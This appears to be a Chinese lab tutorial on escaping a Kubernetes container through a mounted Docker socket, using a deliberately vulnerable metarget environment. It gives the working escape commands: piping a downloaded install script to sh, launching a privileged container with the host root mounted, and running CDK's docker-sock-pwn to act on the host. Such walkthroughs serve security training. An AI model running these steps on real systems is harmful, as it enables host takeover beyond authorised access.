Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信——查询信息或下发命令。如果在攻击者可控的容器内挂载了该套接字文件(/var/run/docker.sock),可通过Docker Socket与Docker守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部,完成简单逃逸。
环境搭建
基础环境:
./metarget gadget install k8s --version 1.16.5 --domestic
漏洞环境:
./metarget cnv install mount-docker-sock
执行完成后,K8s集群内metarget命令空间下将会创建一个名为mount-docker-sock的pod。宿主机的/var/run/docker.sock被挂载在容器内部。
漏洞复现
通过以下两个步骤来完成简单逃逸:
- 在容器内安装Docker命令行客户端
- 使用容器内的客户端通过Docker socket与Docker守护进程通信,发送命令创建并运行一个挂载宿主机根目录的容器,实现基本逃逸。
进入容器
kubectl exec -it mount-docker-sock -n metarget bash
安装docker客户端
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
执行docker ps 结果和宿主机相同,证实docker.sock挂载成功
然后可以借此启动一个挂载宿主机根目录的特权容器,完成简单逃逸:
docker run -it -v /:/host --privileged --name=sock-test ubuntu /bin/bash
cat etc/hostname
工具使用
使用CDK检测docker.sock容器逃逸
CDK项目地址:https://github.com/cdk-team/CDK/releases/
curl -LO https://github.com/cdk-team/CDK/releases/download/v1.5.2/cdk_linux_amd64
mv cdk_linux_amd64cdk
chmod a+x cdk
./cdk run docker-sock-check /var/run/docker.sock
从返回结果上看可以进行逃逸。
执行命令新建文件
./cdk run docker-sock-pwn /var/run/docker.sock "touch /host/tmp/pwn-success"
在宿主机上查看新建的文件
还可以执行其他的命令,比如计划任务等。